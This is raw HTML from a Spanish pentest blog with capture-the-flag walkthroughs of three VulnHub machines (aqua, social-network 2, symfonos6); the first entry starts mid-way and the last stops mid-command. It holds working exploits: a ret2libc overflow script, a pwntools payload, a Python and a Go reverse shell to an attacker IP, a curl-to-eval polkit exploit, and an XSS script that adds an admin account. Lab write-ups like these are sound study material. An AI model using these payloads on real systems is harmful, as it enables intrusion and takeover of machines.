1337</b></i></div><div><br /></div><div>Accedemos a aqua</div><div><br /></div><div><div><i>www-data@aqua:/var/www/html/deployment/production$ nc 127.0.0.1 1337</i></div><div><i>nc 127.0.0.1 1337</i></div><div><i>id</i></div><div><i>uid=1000(aqua) gid=1000(aqua) groups=1000(aqua),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)</i></div></div><div><br /></div><div>8. sudo -l</div><div><br /></div><div><div><i>User aqua may run the following commands on aqua:</i></div><div><i> (ALL) NOPASSWD: /root/quotes</i></div><div><i> (ALL) NOPASSWD: /root/esp</i></div><div><i> (ALL) NOPASSWD: /usr/bin/gdb</i></div><div><br /></div><p>Con <b style="font-style: italic;">sudo /usr/bin/gdb </b><span style="background-color: #fff4f4;"><b style="color: #bf0707; font-style: italic;">-nx -ex '!sh' -ex quit </b>haríamos root, pero se nos avisaba que este es el camino fácil y que lo intentemos por el difícil sin usar gdb y se supone que usando los otros binarios quotes y esp.</span></p><p><span style="background-color: #fff4f4;">9. Camino difícil explotando /root/quotes</span></p><p><span style="background-color: #fff4f4;">Al ejecutarlo</span></p><p><i><b>aqua@aqua:~$ sudo /root/quotes</b></i></p><p><i><b>sudo /root/quotes</b></i></p><p><i><b><span style="background-color: #fff4f4;"></span></b></i></p><p><i><b>/root/quotes [Your name here] </b></i></p><p>Mirando en aqua/Desktop encontramos además un enlace a un source que parece ser el de quotes:</p><p><b>https://raw.githubusercontent.com/yunaranyancat/personal_projects/master/project_9/quotes.c</b></p><div><pre style="overflow-wrap: break-word; white-space: pre-wrap;"><i>#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#define NUMBER_OF_STRING 20
#define MAX_STRING_SIZE 100
void getname(char *buf);
int main(int argc, char **argv)
{
srand(time(NULL));
char quotes[NUMBER_OF_STRING][MAX_STRING_SIZE] =
{ "Impossible is for the unwilling.",
"Stay foolish to stay sane.",
"When nothing goes right, go left.",
"Try Again. Fail again. Fail better.",
"Take the risk or lose the chance.",
"It's okay to not be okay as long as you are not giving up.",
"Everything is going to be okay in the end. If it's not the okay, it's not the end.",
"Do it. With love.",
"It is better to be hated for what you are than to be loved for what you are not.",
"Happiness lies in perspective.",
"The best way to pay for a lovely moment is to enjoy it. ",
"The ultimate mystery is one's own self.",
"It doesn't matter how slow you go as long as you don't stop.",
"A tiger doesn't lose sleep over the opinion of sheep.",
"What worries you, masters you.",
"There are no regrets in life, just lessons.",
"Showing off is the fool's idea of glory. ",
"Meowwww meoww.. meoww meow meowww! Meowwww?? Meow! Meow!",
"Failure is not fatal, but failure to change might be.",
"Find what you love and let it kill you."
};
if (argc < 2)
{
printf("%s [Your name here] \n",argv[0]);
exit(0);
}
getname(argv[1]);
printf("%s\n", quotes[rand()%20]);
return 0;
}
void getname(char *buf)
{
char buffer[32];
strcpy(buffer,buf);
printf("Hi %s,\n");
}</i></pre></div><p><br /></p><p>Todo apunta a un BOF pero no podemos usar gdb. Probando encontramos que segmenta cuando la cadena de entrada es > 40. Asumimos además que está usando la librería libc.so.6</p><p><i><b>aqua@aqua:~$ find / -name libc.so.6 2>/dev/null</b></i></p><p><i><b>find / -name libc.so.6 2>/dev/null</b></i></p><p><i><b>/lib/i386-linux-gnu/libc.so.6</b></i></p><p>Con esto vamos a generar el payload que nos lleve a root. Necesitamos encontrar en esta librería los offsets de systema, exit y sh, en la máquina víctima. El payload será</p><p style="text-align: center;"><b>junk+system+exit+sh</b></p><p>system, exit y sh lo sacamos de la librería</p><p>- Compilamos el quotes.c en la víctima y hacemos ldd</p><p><i><b>ldd /tmp/quotes</b></i></p><p><i> linux-gate.so.1 => (0xb7fda000)</i></p><p><i> libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (<b>0xb7e09000</b>)</i></p><p><i> /lib/ld-linux.so.2 (0xb7fdb000)</i></p><p><i>- </i>system</p><p><i><b>readelf -a /lib/i386-linux-gnu/libc.so.6 | grep system</b></i></p><p><i> 245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0</i></p><p><i> 627: <b>0003ada0</b> 55 FUNC GLOBAL DEFAULT 13 <b>__libc_system@@GLIBC_PRIVATE</b></i></p><p><i></i></p><p><i> 1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0</i></p><div>- exit</div><div><br /></div><div><div><i><b>readelf -a /lib/i386-linux-gnu/libc.so.6 | grep exit</b></i></div><div><i><b><br /></b></i></div><div><i> [27] __libc_atexit PROGBITS 001b02cc 1af2cc 000004 00 WA 0 0 4</i></div><div><i> 03 .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got .got.plt .data .bss </i></div><div><i> 09 .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres .data.rel.ro .dynamic .got </i></div><div><i>001b1ef0 00057206 R_386_GLOB_DAT 001b2204 argp_err_exit_status@@GLIBC_2.1</i></div><div><i>001b1fac 00083c06 R_386_GLOB_DAT 001b2154 obstack_exit_failure@@GLIBC_2.0</i></div><div><i> 112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10</i></div><div><i> 141: <b>0002e9d0</b> 31 FUNC GLOBAL DEFAULT 13<b> exit@@GLIBC_2.0</b></i></div><div><i> 450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18</i></div><div><i> 558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0</i></div><div><i> 616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0</i></div><div><i> 652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10</i></div><div><i> 876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3</i></div><div><i> 1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0</i></div><div><i> 1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1</i></div><div><i> 1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0</i></div><div><i> 2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0</i></div><div><i> 2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0</i></div><div><i> 2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2</i></div></div><div><br /></div><div>- sh</div><div><i><b><br /></b></i></div><div><i><b>strings -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh</b></i></div><p><span style="background-color: #fff4f4;"></span></p><p><i> <b>15ba0b </b>/bin/sh</i></p><div>El junk exacto no lo sabemos pero vamos a ir probándolo. Código final</div><div><br /></div><div><div><i><b>from subprocess import call</b></i></div><div><i><b>from struct import pack</b></i></div><div><i><b>libc = 0xb7e09000</b></i></div><div><i><b>system = pack("I",libc+0x0003ada0)</b></i></div><div><i><b>exit= pack ("I",libc+0x0002e9d0)</b></i></div><div><i><b>sh = pack("I",libc+0x15ba0b)</b></i></div><div><i><b><br /></b></i></div><div><i><b>for i in range(41,50):</b></i></div><div><i><b> junk = "A" * i</b></i></div><div><i><b> payload=junk+system+exit+sh</b></i></div><div><i><b> ret=call(["sudo","/root/quotes",payload])</b></i></div><div><i><b><br /></b></i></div><div><i><b> if (not ret):</b></i></div><div><i><b> print "ok"</b></i></div><div><i><b> break</b></i></div><div><i><b> else:</b></i></div><div><i><b> print "bad"</b></i></div></div><div><br /></div><p>megumin@aqua:/home/aqua$ nc 127.0.0.1 1337</p><p>python /tmp/exploit.py</p><p>id</p><p>uid=0(root) gid=0(root) groups=0(root)</p></div><div><br /></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-32157611203164644352022-10-19T05:25:00.002-07:002022-10-19T05:31:30.955-07:00Breaking social-network: Hard XMLRPCServer bof pwntools socat<p style="text-align: left;"> </p><p style="text-align: left;">https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/</p><br /><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">You have been given access to a dev server.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">The current devs use many custom tools and scripts that you'll have to review and attack.</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Difficulty: Hard</p><p style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem;">Tasks involved:</p><ul style="box-sizing: border-box; color: #333333; font-family: "open sans", sans-serif; font-size: 18px; margin: 0px 0px 1rem; padding: 0px 0px 0px 40px;"><li style="box-sizing: border-box;">port scanning</li><li style="box-sizing: border-box;">webapp attacks</li><li style="box-sizing: border-box;">code review</li><li style="box-sizing: border-box;">custom bruteforcing</li><li style="box-sizing: border-box;">reverse engineering</li><li style="box-sizing: border-box;">buffer overflow</li><li style="box-sizing: border-box;">exploitation</li></ul><div style="text-align: left;">1. en el puerto 80 encontramos un login</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFdQnGp5Oh2TH-4L5pIVjDcMGGM9xxDO616_Bpx9DU6r2LNwAgJMTt8681eWpj2hv7jXIBZAvehvHJEduEao0zeL3zOSwRtGOf_31lftImLmq6ehWjqBZDxnbctY3lRsJfQ55H7zY-GAEG9w_ayHEY1fc13r21f2lBfXndREKRNf3OLOCpyWxaQrZy/s768/1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="479" data-original-width="768" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFdQnGp5Oh2TH-4L5pIVjDcMGGM9xxDO616_Bpx9DU6r2LNwAgJMTt8681eWpj2hv7jXIBZAvehvHJEduEao0zeL3zOSwRtGOf_31lftImLmq6ehWjqBZDxnbctY3lRsJfQ55H7zY-GAEG9w_ayHEY1fc13r21f2lBfXndREKRNf3OLOCpyWxaQrZy/s320/1.jpg" width="320" /></a></div><br /><div style="text-align: left;"><br />probamos inyección sql con <b>sqlmap </b>y sacamos las credenciales de admin. </div><div style="text-align: left;"><br /></div><div style="text-align: left;"><b>sqlmap -u http://192.168.2.44/ --data 'useremail=a%40b.com&userpass=1&login=Login' --dbs</b></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZJn-dqs4r1s9OU_BR6a3ySLqis3_JNJjRljryFzlvmj_xHL30qzhKVxdB0nCt_ennciekBuXXWsp1EAMcMF0oQbJCVjFRkSKv72BmfoyLcfzuCLpph_ByQaubUPDCE7nMHoKdIoQmdi3C8NtXpqoy16oPaJasr9VQQSoS2H4z-X0ITDJzhwPvZNtd/s1643/2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="288" data-original-width="1643" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZJn-dqs4r1s9OU_BR6a3ySLqis3_JNJjRljryFzlvmj_xHL30qzhKVxdB0nCt_ennciekBuXXWsp1EAMcMF0oQbJCVjFRkSKv72BmfoyLcfzuCLpph_ByQaubUPDCE7nMHoKdIoQmdi3C8NtXpqoy16oPaJasr9VQQSoS2H4z-X0ITDJzhwPvZNtd/w643-h112/2.jpg" width="643" /></a></div><br /><div style="text-align: left;"><br /></div><div style="text-align: left;">A partir de aquí la idea es <b>cargar un shell en la imagen profile o en un post</b>. Al final funciona por post cargando un jpg generado con</div><div style="text-align: left;"><br /></div><div style="text-align: left;">https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php y con extensión php.</div><div style="text-align: left;"><br /></div><div style="text-align: left;"><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtioOVfFPQ9V00QTAGDfu5T1OFzW5FaJi63IFR00IXMkAz3xNU68QZM7VgLnSUMJqP366GK_PBShhUYh29KKOZhHIGmQu0pu4hmKyplU13yGDPPnnxCopTR6Qolc6L3_aOe7ZXa35hX537X9czVpy487nuj3LiPbHyCGRNxMXMkkwZ1Hh1jc2yhI9W/s1792/5.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="544" data-original-width="1792" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtioOVfFPQ9V00QTAGDfu5T1OFzW5FaJi63IFR00IXMkAz3xNU68QZM7VgLnSUMJqP366GK_PBShhUYh29KKOZhHIGmQu0pu4hmKyplU13yGDPPnnxCopTR6Qolc6L3_aOe7ZXa35hX537X9czVpy487nuj3LiPbHyCGRNxMXMkkwZ1Hh1jc2yhI9W/w483-h125/5.jpg" width="483" /></a></div><br /><div><br /></div><div><br /></div><div>www-data@socnet2:/home/socnet$ </div></div><div style="text-align: left;"><br /><div style="text-align: justify;">2. Una vez dentro como apache encontramos el script python que gestiona el puerto 8000 donde funciona un <i><b>basehttp/0.3 python/2.7.15rc1</b></i>. De los posts de admin anteriores tenemos que hay funcionando un <b>monitor.py</b> que es lo que analizamos para escalar al usuario socnet.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><span style="text-align: left;"><i>#my remote server management API</i></span></div><i>import SimpleXMLRPCServer<br />import subprocess<br />import random<br /><b>debugging_pass = random.randint(1000,9999)</b><br />def runcmd(cmd):<br /> results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)<br /> output = results.stdout.read() + results.stderr.read()<br /> return output<br />def cpu():<br /> return runcmd("cat /proc/cpuinfo")<br />def mem():<br /> return runcmd("free -m")<br />def disk():<br /> return runcmd("df -h")<br />def net():<br /> return runcmd("ip a")<br /><b>def secure_cmd(cmd,passcode):<br /> if passcode==debugging_pass:<br /> return runcmd(cmd)</b><br /> else:<br /> return "Wrong passcode."<br />server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))<br />server.register_function(cpu)<br />server.register_function(mem)<br />server.register_function(disk)<br />server.register_function(net)<br />server.register_function(secure_cmd)<br />server.serve_forever()</i></div><div style="text-align: left;"><i><br /></i>Con Burp tratamos de deducir cómo funciona. Tenemos que enviar en post un xml de esta forma</div><div style="text-align: left;"><br /><b><i><?xml version="1.0"?><br /><methodCall><br /> <methodName>mem</methodName><br /></methodCall></i></b></div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br />Se trata de inyectar el shell llamando a la función <b>secure_cmd</b> pero necesitamos la pass. Bruteforceamos con burp.</div><div style="text-align: left;"><br /><i><b><?xml version="1.0"?><br /><methodCall><br /> <methodName>secure_cmd</methodName><br /> <params><br /> <param><br /> <value><string>whoami</string></value><br /> </param><br /> <param><br /> <value><int>$4450$</int></value><br /> </param><br /> </params><br /></methodCall></b></i></div><div style="text-align: left;"><br />Localizada la pass inyectamos el shell que solo nos ha funcionado con python</div><div style="text-align: left;"><br /><i><?xml version="1.0"?><br /><methodCall><br /> <methodName>secure_cmd</methodName><br /> <params><br /> <param><br /> <value><string><b>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.84",9994));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</b></string></value><br /> </param><br /> <param><br /> <value><int>4450</int></value><br /> </param><br /> </params><br /></methodCall></i></div><div style="text-align: left;"><br /><div style="text-align: justify;">Entramos otra vez pero ahora como <b>socnet</b>. Aunque la máquina es vulnerable a polkit</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">entendemos que hay que escalar a root a través del binario <b>add_record</b>. Lo descargamos y analizamos con <b>ghidra</b>. Queda claro que hay que hacer overflow en la variable que recoge lo que introducimos en "Explain: ". Encontramos además una función <b>backdoor </b>que ejecuta el shell y cuya dirección es lo que hay que inyectar. </div><div style="text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7jAyOs_hA5LdmMC3444IKLToVjtjP9k-xtEyXSSZfuNOExWZfzy4GJwfrFbeUm9APtRsXeZNDCgWc3rfMZrGc1UedoDTHAxKGUuI5E8Y0MAPqBbXz-4HZ3WwcsNzWFk5uOZ5DC6tHkPeEzzIPGM8fCF3CB1-VOFZc3wOKth4oGjnmAHaDci7xJi08/s912/3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="680" data-original-width="912" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7jAyOs_hA5LdmMC3444IKLToVjtjP9k-xtEyXSSZfuNOExWZfzy4GJwfrFbeUm9APtRsXeZNDCgWc3rfMZrGc1UedoDTHAxKGUuI5E8Y0MAPqBbXz-4HZ3WwcsNzWFk5uOZ5DC6tHkPeEzzIPGM8fCF3CB1-VOFZc3wOKth4oGjnmAHaDci7xJi08/w451-h239/3.jpg" width="451" /></a></div><br /><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div></div><div style="text-align: left;"><br />Con gdb-peda encontramos el payload correcto que rellena EIP:</div><div style="text-align: left;"><br />"A"*62 + "B"*4</div><div style="text-align: left;"><br />En "B" ponemos el offset del backdoor</div><div style="text-align: left;"><br />"A"*62 + "\x76\x86\x04\x08"</div><div style="text-align: left;"><br />Lo probamos en local</div><div style="text-align: left;"><br /><i><b>from pwn import *<br />"""<br />Employee Name(char): r<br />Years worked(int): 4<br />Salary(int): 4<br />Ever got in trouble? 1 (yes) or 0 (no): 1<br />Explain: <br />"""<br />p = process("./add_record")<br />print(p.recvline())<br />print(p.recvline())<br />print(p.recvuntil(":", timeout=1))<br />p.send("f\n")<br />print(p.recvuntil(":", timeout=1))<br />p.send("3\n")<br />print(p.recvuntil(":", timeout=1))<br />p.send("3\n")<br />print(p.recvuntil(":", timeout=1))<br />p.send("1\n")<br />print(p.recvuntil(":", timeout=1))<br />payload="A"*62 + "\x76\x86\x04\x08"<br />p.send(payload+"\n")<br />p.interactive()</b></i></div><div style="text-align: left;"><b><i><br /></i></b>El problema es que la máquina víctima no tiene <b>pwntools </b>instalado. La idea entonces es usar <b>socat </b>que tampoco lo tiene pero podemos descargarlo ya compilado</div><div style="text-align: left;"><br />wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat</div><div style="text-align: left;"><br />Y lo ejecutamos en la máquina víctima</div><div style="text-align: left;"><br /><b>./socat tcp-l:5000,reuseaddr,fork EXEC:"./add_record",pty,raw,echo=0</b></div><div style="text-align: left;"><br />Es ahora que modificamos el script anterior cambiando la apertura del proceso en local a </div><div style="text-align: left;"><br /><b>p = remote("192.168.2.44",5000)</b></div><div style="text-align: left;"><br />ejecutamos desde nuestra máquina y obtenemos root</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipfWbvLmfk633htUMcpGc69rH_w2wnOqRECqlf1YfJ22bywLtJtrOKmDlUFzMKa1eeNjpfEyS5HZvN3ZwngXPc90W9jl-U-0sfyQcPTCJ2Sam_v9nJbNetzwRZbcbuSVeD0UsbGBmF_ArPhsHBWgODpZ1VvDWIC0aVJwn_Nl6o6wwrXyr-ZhI1-LNs/s850/4.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="246" data-original-width="850" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipfWbvLmfk633htUMcpGc69rH_w2wnOqRECqlf1YfJ22bywLtJtrOKmDlUFzMKa1eeNjpfEyS5HZvN3ZwngXPc90W9jl-U-0sfyQcPTCJ2Sam_v9nJbNetzwRZbcbuSVeD0UsbGBmF_ArPhsHBWgODpZ1VvDWIC0aVJwn_Nl6o6wwrXyr-ZhI1-LNs/w551-h93/4.jpg" width="551" /></a></div><br /><div style="text-align: left;"><br /></div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-52465207319091229102022-10-17T06:17:00.001-07:002022-10-17T06:18:11.895-07:00symfonos6: flyspray, gitea, go<div style="text-align: left;"> https://www.vulnhub.com/entry/symfonos-61,458/</div><div style="text-align: left;"><br /><span style="background-color: #f7f8fb; color: #333333; font-family: "open sans", sans-serif; font-size: 18px;">Difficulty: intermediate-hard</span></div><div style="text-align: left;"><span style="background-color: #f7f8fb; color: #333333; font-family: "open sans", sans-serif; font-size: 18px;"><br /></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">1- en 80 buscamos y tenemos <b>flyspray</b>. Creamos un usuario test y aplicamos exploit </span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: "open sans", sans-serif; font-size: 18px;">https://www.exploit-db.com/exploits/41918<br /></span><span style="color: #333333; font-family: "open sans", sans-serif; font-size: 18px;">https://www.youtube.com/watch?v=eCf9a0QpnPs</span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">creamos script js</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>var tok = document.getElementsByName('csrftoken')[0].value;</i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i><br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="action" value="admin.newuser"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="do" value="admin"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="area" value="newuser"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="user_name" value="hacker"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="user_pass" value="12345678"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="user_pass2" value="12345678"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="real_name" value="root"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="email_address" value="root@root.com"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="jabber_id" value=""/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="notify_type" value="0"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="time_zone" value="0"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '<input type="hidden" name="group_in" value="1"/>'<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>txt += '</form>'</i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i><br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>var d1 = document.getElementById('menu');<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>d1.insertAdjacentHTML('afterend', txt);<br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i>document.getElementById("hacked_form").submit();</i></span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><i><br /></i></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">y en realname del usuario test creado en flyspray ponemos el xss</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><b>"><script src=máquina atacante/script.js></script></b></span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">salimos y entramos como el usuario test creado y ponemos algún comentario en alguna tarea. Con eso se crea el usuario hacker</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">entramos como hacker que es admin, y en una de las tareas nos da el login git de achilles</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">2- vamos al <b>gitea </b>en 3000 y entramos como achilles. Hacemos exploit git hook post y accedemos shell git a la máquina</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">3- su achilles, la contraseña es la misma</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;">4- tenemos <b>sudo go</b>, hacemos un shell reverse en go y root</span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></div><div style="text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><div><span style="font-size: 18px;"><i>package main</i></span></div><div><span style="font-size: 18px;"><i><br /></i></span></div><div><span style="font-size: 18px;"><i>import (</i></span></div><div><span style="font-size: 18px;"><i> "net"</i></span></div><div><span style="font-size: 18px;"><i> "os/exec"</i></span></div><div><span style="font-size: 18px;"><i> "time"</i></span></div><div><span style="font-size: 18px;"><i>)</i></span></div><div><span style="font-size: 18px;"><i><br /></i></span></div><div><span style="font-size: 18px;"><i>var (</i></span></div><div><span style="font-size: 18px;"><i> lhost string</i></span></div><div><span style="font-size: 18px;"><i> lport string</i></span></div><div><span style="font-size: 18px;"><i>)</i></span></div><div><span style="font-size: 18px;"><i>func prepareCmd() (*exec.Cmd) {</i></span></div><div><span style="font-size: 18px;"><i> cmd := exec.Command("/bin/sh")</i></span></div><div><span style="font-size: 18px;"><i><br /></i></span></div><div><span style="font-size: 18px;"><i> return cmd</i></span></div><div><span style="font-size: 18px;"><i>}</i></span></div><div><span style="font-size: 18px;"><i>func main(){</i></span></div><div><span style="font-size: 18px;"><i> var target string = "192.168.2.84:8888"</i></span></div><div><span style="font-size: 18px;"><i> var cmd *exec.Cmd</i></span></div><div><span style="font-size: 18px;"><i> var err error</i></span></div><div><span style="font-size: 18px;"><i> var conn net.Conn = nil</i></span></div><div><span style="font-size: 18px;"><i> var attempt int = 0</i></span></div><div><span style="font-size: 18px;"><i><br /></i></span></div><div><span style="font-size: 18px;"><i> for conn == nil && attempt < 3 {</i></span></div><div><span style="font-size: 18px;"><i> conn, err = net.Dial("tcp", target)</i></span></div><div><span style="font-size: 18px;"><i> if err != nil {</i></span></div><div><span style="font-size: 18px;"><i> time.Sleep(20 * time.Second)</i></span></div><div><span style="font-size: 18px;"><i> conn = nil</i></span></div><div><span style="font-size: 18px;"><i> } else {</i></span></div><div><span style="font-size: 18px;"><i> cmd = prepareCmd()</i></span></div><div><span style="font-size: 18px;"><i> cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn</i></span></div><div><span style="font-size: 18px;"><i> cmd.Run()</i></span></div><div><span style="font-size: 18px;"><i> conn.Close()</i></span></div><div><span style="font-size: 18px;"><i> }</i></span></div><div><span style="font-size: 18px;"><i> attempt += 1</i></span></div><div><span style="font-size: 18px;"><i> }</i></span></div><div><span style="font-size: 18px;"><i>}</i></span></div></span><span style="color: #333333; font-family: open sans, sans-serif;"><div style="font-size: 18px; text-align: left;"><span style="color: #333333; font-family: open sans, sans-serif;"><span style="font-size: 18px;"><br /></span></span></div><div style="text-align: left;"><span style="font-size: 18px;"><b>sudo /usr/local/go/bin/go run 